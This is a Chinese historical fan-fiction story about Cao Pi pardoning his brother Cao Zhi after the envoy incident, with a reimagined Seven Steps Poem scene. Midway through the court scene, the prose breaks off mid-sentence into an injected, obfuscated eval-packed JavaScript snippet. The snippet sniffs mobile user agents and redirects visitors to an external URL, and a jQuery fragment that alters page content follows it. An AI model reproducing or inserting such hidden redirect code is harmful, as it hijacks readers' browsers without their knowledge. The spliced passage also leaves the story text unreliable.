黄初二年，春，洛阳嘉福殿。
夜已深了，但殿内依旧烛火通明。
“陛下，幺儿是你的亲弟弟！他不过是醉酒误事，何至于此啊！”卞太后的声音带着哭腔，在大殿内回荡。
曹丕端坐案前，手中朱笔悬在一卷文书上恍若未闻。
那上面写着“醉酒悖慢，劫胁使者，大不敬”，这是灌均的奏报，上书皆是细数曹植的罪状。
“母后在和你说话！”卞太后见他没反应，心头火起，快步上前，以袖拂过桌案。
霎时间竹简、帛书洒落一地，她指着曹丕，胸口气得起伏不定，“你让他进京戴罪，关在从前的侯府也就罢了，怎么还让他跪在嘉福殿侧殿跪这么久？！幺儿从小身子就不好，他是你弟弟！”
曹丕面无表情，弯腰将刚才写到一半关于曹植处置的诏书草稿捡起，仔细掸了掸灰尘，而后才抬眼看向自己盛怒的母亲。
“母后。”他神色平静，“那不是醉酒误事，醉酒悖慢，劫胁使者，您知道这代表着什么吗？”
“监国谒者，代表皇权，劫胁使者，即是蔑视朕，蔑视这曹魏江山，这，是死罪。”
“死罪？！”
卞太后一时悲愤交加，一手抢过他手中的诏书，掩袖垂泪，“那你就真的忍心处死幺儿？那是你一母同胞的亲弟弟！他可是从小就跟在你身后喊你兄长的啊！”
她哭声凄切，越说越伤心：“你若真要如此，不如连你母后也一起处死算了，让我们母子二人在地下团聚！”
“母后。”曹丕看着母亲鬓边新添的白发，放缓了语气，“这是朝堂之事，子建如何处置我自有安排。”
卞太后哭声戛然而止，她放下衣袖，用红肿的眼死死盯着曹丕。
“好，好一个朝堂之事！”她点了点头，声音也冷了下来，“曹子桓，你如今龙椅坐稳了，连血脉亲情都不顾了？”
说罢，她竟直接起身向殿外走去，“我这个做母亲的，没本事劝动陛下，那就去和自己苦命的孩儿跪在一起！就让我同幺儿一起，好好跪求你这个高高在上的帝王开恩！”
“母后！”曹丕皱眉，厉声喝道。
他怎么能让卞太后真跪在侧殿，天子之母和获罪诸侯跪在一起，成何体统？
他起身下令：“来人，送太后回永寿宫安歇。”
门外早已战战兢兢守候多时的内侍闻言，连忙进殿将卞太后团团围住，半请半架地扶着她往外走。
“干什么？！放开我！你们好大的胆子！”
卞太后奋力挣脱，但她哪是这么多内侍的对手。
告罪声不绝于耳：“太后恕罪！太后赎罪！奴等也是奉旨行事。”
卞太后挣脱不得，被架着往外走，突然她回头看向殿内那个玄色身影，声音凄厉。
“曹丕！你这个无心无情之人！你弟弟从前和你是最要好的！你怎么忍心！你怎么忍心啊！”
“若幺儿有个三长两短，我也不活了！”这一句卞太后几乎是吼出来的，接着很快就被带离嘉福殿。
曹丕站在原地，只冷眼看着卞太后离去的方向，内侍鱼贯而入，收拾着满地狼藉。
不知站了多久，他只觉得十分疲累，踉跄着走向御榻，竟是直接栽倒上去。
“陛下！”正在收拾的内侍惊呼。
曹丕无力地挥了挥手，闷闷的声音从被里传出：“无事……收拾完，都出去吧。”
内侍们屏息敛气，快速整理完一切后悄然退下。
偌大的嘉福殿最终只剩下他一人，他闭上眼，回想着母亲所说的那句“无心无情”。
无心无情？他苦笑一声，其实……他很羡慕曹植。
哪怕贵为九五之尊，他还是很羡慕那个可以恣意快活，受尽宠爱的弟弟。
父亲欣赏他的文采，多次对他大加赞赏。母亲疼爱他，永远亲昵地唤他幺儿。就连子文，在父亲临终后，也私下劝他夺位，为他谋求。
他想做什么都可以，纵马司马门，是狂放不羁。劫胁使者，是率真性情。
总有理由，总有人护着。
而自己呢？父亲对自己的眼神永远是审视，母亲对自己的称呼早已变成冷冰冰的陛下和曹子桓。
明明自己最应该恨他，可……自己却对他恨不起来。
他每走一步都如同烈火烹油，烧得他连痛呼都做不了。
温情是奢侈，纵情是毒药。
这身龙袍困住的是身为兄长的曹子桓，让他只能以曹丕这个帝王的身份去面对至亲。
好累……
“陛下。”
不知过了多久，内侍声音恭敬地在帐外响起。
曹丕睁开眼，发现自己竟然在疲累中睡去。
他扶着额角坐起，只觉得头痛欲裂：“现下几时了？”
“回陛下，亥时了。”内侍上前将厚重的床帐挽起，烛光映照在曹丕憔悴苍白的脸上。
他目光落在层层叠叠的殿门，问道：“临淄侯……还在侧殿？”
内侍躬身答道：“回陛下，临淄侯尚在侧殿戴罪而跪，已……已跪了四个多时辰。”
四个多时辰，从午后跪到深夜……
曹丕静默住，良久，他才说道：“知道了。”
他重新躺下，内侍极有眼色地上前，准备将床帐放下。
就在帐幔即将闭合时，一只骨节分明的手从里伸出挡住。
“不必放下。”
内侍一愣，随即躬身一礼：“是。”又重新将纱幔卷起绑好，退至榻边。
然而没过片刻，床榻上的曹丕又直接坐起，径自下床，汲着鞋履就往殿外走。
“陛下！”内侍一惊，险些绊倒，连忙从一旁屏风上取下外袍披在曹丕肩头，“陛下，您这是要去哪？外头更深露重的，您万金之躯，可千万不能冻着啊！”
“无妨。”曹丕看了一眼身上的外袍，挥退内侍，“朕一个人出去走走，不用跟着。”
“这……”内侍僵在原地，进也不是，退也不是，只能眼睁睁地看着曹丕独自离殿。
嘉福殿侧殿，值守的内侍正在打盹，猛然看到陛下亲临，吓得一激灵，刚要慌忙行礼，就被曹丕抬手制止。
他看着殿内那个伏在地上的素衣身影，然后挥了挥手。
内侍们会意，众人悄无声息地退下，远远避开。
殿门未关，夜风穿堂而过，吹动殿内本就不多的烛火，让曹植的身影更显孤伶。
曹丕立于殿外，就这样静静看了很久，久到夜露沾湿他的鬓发。
他的眼神晦暗不明，看着殿内那个一动不动跪伏的人，思绪翻涌。
这种情感太复杂了，是愤怒？失望？还是痛心？亦或者是……心疼？
最终他还是默默踏入殿内走到曹植身前停下。
“抬起头来。”
地上的人闻言，身体一颤，然后缓缓抬起了头。
烛光下的脸上泪痕斑驳交错，昔日顾盼神飞的眼眸，此刻红肿不堪，布满血丝，内里却无半分怨怼。
他就这样仰望着自己的兄长，眼底泛起水光，一滴泪顺着脸颊落下，滴在青灰的地砖上。
曹丕面色依旧冷淡，仿佛眼前落泪之人，不是他从小护着的亲弟弟，只是一个普通人。
“既然这么怕，为什么还要犯那种错。”
曹植不说话，只执拗地盯着曹丕的眼睛，那目光里有哀求，有委屈，但更多的是想从那双眼里找到一点点在意。
但那眼里什么都没有，那双曾经教他写字，带他骑马的眼里现在只有帝王的冰冷。
他绝望地闭上眼，更多的泪水从眼底溢出，无声无息。
曹丕看着不断坠地的泪珠，看着弟弟压抑的哭泣，终于蹲下身，轻轻抚上他濡湿的脸颊，用指腹替他擦去眼泪。
“曹子建。”他声音依旧听不出喜怒：“你知道的，哭也没用。”
曹植猛地睁开眼，泪水更加汹涌，却依旧死死咬着唇不让哭声泄出。
他攥紧了曹丕的衣袖，摇着头语无伦次地说：“我不怕……我不怕惩处……我怕的是……是你不来见我……”
他望着近在咫尺的曹丕，深吸一口气，喊出了那个尘封已久的称呼。
“兄长——！”
随着声嘶力竭的呼唤，他不管不顾地扑进曹丕怀里，将脸埋在他胸前放声大哭。
“兄长……你为什么把我赶到封地后……就不再见我了？”
“兄长！你不见我……我只能……我只能劫胁灌均了……我只是想让你看看我啊！”
“兄长！我想见你啊！”
他说了许多话，断断续续，颠三倒四，有辩白有控诉有依赖，但千言万语最终只汇成了三个字：
我想你。
曹丕僵硬地维持着蹲姿，怀里是哭的泣不成声的弟弟。
胸前的里衣被泪水浸湿，他低头看着怀中人乌黑的发顶，恍惚间仿佛看到了许多年前在鄄城老宅，那个因他出门访友未带他而赌气，最后又忍不住跑来抱着他的腰，哭的满脸鼻涕眼泪的弟弟。
时光荏苒，如今他是帝王，子建是王侯，但他这份怕被兄长抛弃的依恋，似乎从未改变。
一直没变的，或许是子建。
而面目全非的，是自己。
他抬眼看向这空无一人的大殿，烛火幽幽，将他们的影子投射在墙上，交叠在一起。
最终他还是换了个姿势坐在地上，用手轻轻地环住怀里这个哭得像个孩子的弟弟。
温暖的外袍笼罩住两人，仿佛这一刻他们不是陛下和临淄侯，而是两个普通人家的兄弟。
一个受了委屈，和兄长诉苦痛哭的弟弟。一个板着脸教育，却终究不忍苛责，笨拙地给予安慰的哥哥。
曹植在感受到兄长怀抱的那一刻，哭声有瞬间的停歇，随即便是更加肆无忌惮地嚎哭。
仿佛要将这些年错过的时光，积压的思念，无尽的委屈全部倾泻而出。
曹丕没有说话，只这样静静抱着他，一只手轻轻拍着他的后背，如同小时候无数次哄他入睡时那样。
时间悄然流逝，怀里的哭声渐渐低了下去，变成断断续续的抽噎，最终归于平静，直到曹植哭累了，在他的怀里睡了过去。
曹丕依旧保持着之前的姿势，他低头看着弟弟睡梦中也紧紧攥着自己衣袖的手，良久，长叹一声。
“其实……哭有用。”他声音很轻，带着浓浓的自嘲。
“……是兄长没用。”
————————
第二日，崇华殿上御座珠帘半垂，曹丕端坐其上，冕旒遮挡了他大部分容颜。
中堂之上，曹植一身素白单衣，散发而立，周遭是无数各怀心思的目光。
灌均率先出列，跪地伏身：“陛下！临淄侯酒后狂悖，胁迫于臣！臣受辱事小……”
他略作停顿，双手高举，向天作揖，“然监国谒者，代天巡狩，关乎天家威仪，朝廷法度！临淄侯此举，实乃藐视君上，动摇国本！若不严惩，何以正
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17317241|198975||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
律法？”
“臣恳请陛下，依律严办，以正视听！”他说罢，长伏不起。
此言一出，几位老臣纷纷颔首，僭越大罪，岂能轻饶？
就在这时，后殿传来女子压抑不住的涕泣之声，卞太后听到灌均请旨处死曹植，悲从心起。
曹丕面色未动，冷淡地扫了一眼灌均，不予置评。
吴质见状缓步出列，躬身行礼。
“陛下，臣私以为，灌谒者所言固然有理。然，临淄侯毕竟是陛下同母胞弟，骨肉至亲。且其素日虽有疏狂，却无大恶。处死……未免太严苛些，恐伤陛下仁德之名，亦令太后悲恸过度，有伤凤体。”他话锋一转，“依臣愚见，不若削其王爵，贬为庶民？这样既全了法度，也保全了兄弟情谊，更显陛下宽仁。”
曹丕面色稍缓，但仍未开口。
一直在暗自观察帝王神色的陈群此刻抓住机会，快步出列。
“陛下！臣有奏！”他先是对曹丕一礼，然后面向众臣，“灌谒者，吴将军所言，皆是为国法，为亲情考量，拳拳之心，可昭日月。然臣细思之，临淄侯此番，更多是酒后失言，行为失当罢了。”
“酒后失言”一出，满堂震惊！灌均更是猛地抬头看向陈群，几位老臣公更是皱眉怒视。
劫胁使者，形同谋逆，怎么能以失言失当而论！
就在这时，贾诩不急不忙地出列，扫向堂上聒噪的诸臣，向上一礼。
“临淄侯才华横溢，性情率真，偶有醉酒失态，虽触法度，但其心或非有意藐视天威。且陛下新登大宝，四海初定，正宜示以宽宥，布恩宗室。若因此时重罚亲王，恐令天下藩王不安，非社稷之福。”
他顿了顿，微微一笑，迎着曹丕的目光道：“故臣以为，不若降其爵位，削减封邑，令其闭门思过？如此，小惩大诫，既维护了朝廷法度之尊严，又彰显了陛下顾念骨肉，仁德为怀之圣心。两全其美，岂不更好？”
殿内窃窃私语之声更大，贾诩这番说辞，看似折中，实则将曹植的重罪轻拿轻放。
曹丕的目光越过争吵的众人，看向那个中堂上一直垂着头的身影。
冕旒轻晃，曹丕的声音传出：“临淄侯。”
曹植听到了兄长的声音，缓缓抬头。
“朕听闻你才思敏捷。”曹丕的声音在珠帘后听不出情绪：“今日你便在这朝堂之上，七步之内，赋诗一首，若成，朕或可考量，若不成……”
他剩余的话没有说完，但在场之人皆懂未尽之言的意思。
七步成诗？！众臣先是一惊，随后恍然，面色复杂。
这要求对于以才学冠绝天下的曹植而言，不就犹如三岁小儿解一加一一般容易？
这哪是惩罚？这是陛下递过来的台阶啊！
众目睽睽下，曹植只望着高台珠帘后那个熟悉的身影，两人视线相接，他眼眶发红，眼里有委屈，仰着头缓缓闭上眼了，一副引颈受戮，不愿作诗的姿态。
殿后卞太后的声音骤然增大，凄厉不止，穿过屏风落到每一个人的耳中。
灌均伏在地上的手握紧，吴质眉头紧锁，陈群眼里满是焦急，就连贾诩也长叹一声。
珠帘之后的曹丕看着曹植，握在扶手上的手因为太过用力而微微发白。
最终，曹丕挥了挥手：“罢了。”
“植，朕之同母弟。”他声音中带着无奈，“朕承天命，御宇内，于天下万民，无所不容，而况植乎？”
他目光扫向堂下的群臣，最终落在曹植身上，“骨肉之亲，舍而不诛。然法不可废，其改封植为安乡侯。①”
他终究是借着太后的哭声，直接赦免了曹植。
曹植不可置信，睁开眼望向御座，眼中情绪复杂难言，他想上前说着什么，但殿外候着的侍卫已经入内请他离开。
他没有挣扎，只最后深深看了一眼珠帘后的身影，然后顺从地离开了大殿。
崇华殿内鸦雀无声，就连卞太后在听到曹植的判决后也不再哭泣。
曹丕静静看着那个素白身影消失在殿门外，直到再也看不见。
他缓缓起身，走下御阶，走到刚才曹植站立的地方，面向众臣。
“煮豆燃豆萁，豆在釜中泣。”
两句诗出，满殿哗然，但曹丕恍如未闻。
“本是同根生，相煎何太急。②”
曹丕锐利的目光扫过殿内诸臣，“这便是安乡侯所作之诗。”
“今日崇华殿内，安乡侯七步成诗，朕念及骨肉，法外施恩，改封安乡侯，此事已了。”他声音陡然一沉，一步步走向阶上御座，“今日殿中之事，唯此一说，若有半句虚言外泄，扰乱视听者——”
他转过身，直视群臣。
“定斩不待。”
说罢，不再看任何人，径自离去，徒留满殿文武面面相觑。
————————
同年，曹植回到改封后的安乡，得知七步诗后，于某个孤灯长明的夜晚，写下了《七哀》：
明月照高楼，流光正徘徊。
上有愁思妇，悲叹有余哀。
借问叹者谁，言是宕子妻。
君行逾十年，孤妾常独栖。
君若清路尘，妾若浊水泥。
浮沉各异势，会合何时谐。
愿为西南风，长逝入君怀。
君怀良不开，贱妾当何依。③
诗词传至洛阳，同年七月，诏令再下：进封曹植为鄄城侯，并增其封邑从八百户至两千五百户。